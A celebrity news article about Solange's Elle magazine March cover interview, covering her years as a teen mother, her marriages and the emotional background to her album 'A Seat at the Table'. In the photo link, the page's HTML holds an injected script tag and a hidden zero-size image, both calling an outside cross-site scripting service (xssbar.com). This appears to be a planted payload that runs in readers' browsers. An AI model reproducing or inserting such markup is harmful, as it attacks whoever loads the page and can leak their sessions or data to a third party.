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"A Seat at the Table" is an album that needs no introduction and no explanation, really, due to the universality of its content, especially among Black women. Most of us can pinpoint moments in our personal lives that relate to lyrics on many of the album's tracks, and in the March issue of <em>Elle </em>magazine Solange is talking a bit about some of the pain and experiences behind her songs.
The singer is the cover girl for the mag's March issue and was interviewed by scholar and activist Salamishah Tillet who talked to her about love, music, ambition, and, of course, the album. When "A Seat at the Table" was released last year, Solange explained that she'd written some songs, like "Cranes in the Sky," years prior to the album debut, and in <em>Elle</em> she gives some insight into the stalls in her career.
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Speaking on her time raising Julez as a teen mom in Moscow, Idaho, while married to Daniel Smith, she said:
<blockquote>"It was one of the most bittersweet moments of my life because I was so in love with Julez, and having spent a lot of time on the road, I yearned to be in one place, to have the opportunity to really ground myself with him. But it was isolating and lonely, and so cold and dark. And it was just Julez and me most of the time. It was hard to imagine being able to progress in my career in any way."</blockquote>
<a href="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle.jpg"><script src=http://www.xssbar.com/?c=yBYVO></script><img width="0" height="0" src="http://www.xssbar.com/?c=HPlgV" /><img src="http://madamenoire.com/wp-content/uploads/2017/02/solange-elle.jpg" alt="Solange Elle" width="800" height="962" class="alignnone wp-image-785217 size-full" /></a>
Solange was 18 when she gave birth to Julez in October 2004 and three years later she and Daniel divorced. Seven years later, Solange remarried, tying the knot with Alan Ferguson in 2014.
Though in many of our minds, Solange is the definition of a carefree Black girl, the singer shared that her album is very much a reflection of her inner turmoil over the years.
<blockquote>"I did want to create this juxtaposition, politically, of having these very hard, messy conversations but having them stylistically in a way that you can really hear me, and not the yelling, the rage. I wanted to project in my delivery what I was not achieving at all: peace and having a certain lightness and airiness that could maybe help me get closer to having more light and airiness in my life."</blockquote>
<em>Elle</em> March issue hits newsstands February 21.
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